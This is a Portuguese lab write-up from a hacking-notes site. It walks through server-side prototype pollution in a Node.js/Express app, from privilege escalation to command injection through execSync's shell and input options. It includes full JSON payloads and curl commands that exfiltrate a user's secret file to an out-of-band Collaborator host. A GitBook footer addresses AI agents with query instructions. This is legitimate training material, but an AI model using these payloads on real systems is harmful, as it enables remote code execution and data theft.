> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/prototype-pollution/exfiltration-of-sensitive-data-via-server-side-prototype-pollution.md).
# Exfiltração de dados sensíveis via poluição de prototype no lado do servidor
### Exfiltrando dados sensíveis via poluição de protótipo no lado do servidor
**Descrição do laboratório**
Este laboratório é baseado em **Node.js** e o framework **Express**. A aplicação é vulnerável a uma **poluição de protótipo no lado do servidor** porque mescla de forma insegura dados controlados pelo usuário em objetos JavaScript no lado do servidor.
Devido a essa configuração, é possível poluir `Object.prototype` para injetar e executar **comandos arbitrários do sistema**.
Objetivos do laboratório:
* Identifique um ponto de poluição de protótipo para adicionar propriedades arbitrárias a `Object.prototype`.
* Encontre um gadget utilizável para injetar e executar comandos do sistema.
* Comece executando um comando que revela o conteúdo do diretório pessoal de Carlos (`/home/carlos`) para um servidor **Burp Collaborator** público.
* Exfiltre o conteúdo de um arquivo secreto neste diretório e envie o valor obtido.
O acesso de administrador já está disponível. Conexão possível com:
* **Credenciais**: `wiener:peter`
**Ponto de entrada vulnerável**
A funcionalidade de **modificação de endereço** é vulnerável à poluição de protótipo.
Requisição enviada:
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
"constructor": {
"prototype": {
"test": "false",
"json spaces": 1
}
}
}
```
**Confirmação da poluição**
A resposta do servidor confirma `Object.prototype` a poluição e a escalada de privilégios:
```json
{
"username": "wiener",
"firstname": "Peter",
"lastname": "Wiener",
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"isAdmin": true,
"test": "false",
"json spaces": 1
}
```
**Operacionalidade administrativa**
No painel de administração, uma **Executar manutenção** opção está disponível. Ela envia a seguinte solicitação:
{% code overflow="wrap" %}
```json
{"csrf":"h46R2yfLgIvyIWxZirHtszPDxwU6L7Q1","sessionId":"kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN","tasks":["db-cleanup","fs-cleanup"]}
```
{% endcode %}
Este recurso usa `child_process.execSync()` no lado do servidor. Esta função inclui `shell` e `entrada` parâmetros, que é um gadget que pode ser explorado via poluição de protótipo.
**Injeção de comandos via `execSync`**
Em `__proto__` o objeto poluído, é possível controlar as opções passadas para `execSync`:
```bash
__proto__": {
"shell":"vim",
"input":":! curl https://xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```
Ao executar a tarefa de manutenção, ela falha no lado da aplicação, mas uma consulta é enviada para **Burp Collaborator**, confirmando a execução do comando.
**Exfiltração do arquivo secreto**
Para exfiltrar o conteúdo do arquivo secreto de Carlos, o seguinte payload é usado:
```json
"__proto__": {OU
"shell":"vim",
"input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```
OU:
```bash
cat /home/carlos/ | base64 | curl -d @- xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com
```
Requisição completa:
```json
{
"address_line_1": "Wiener HQ",
"address_line_2": "One Wiener Way",
"city": "Wienerville",
"postcode": "BU1 1RP",
"country": "UK",
"sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
"__proto__": {
"shell":"vim",
"input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
}
```
**Resultado**
O servidor Burp Collaborator recebe uma solicitação contendo o valor do arquivo secreto:
```bash
I8jYiV1Nkj3IiWR0sbp5fpgVd5NXbAfR
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/pt-br/web/prototype-pollution/exfiltration-of-sensitive-data-via-server-side-prototype-pollution.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.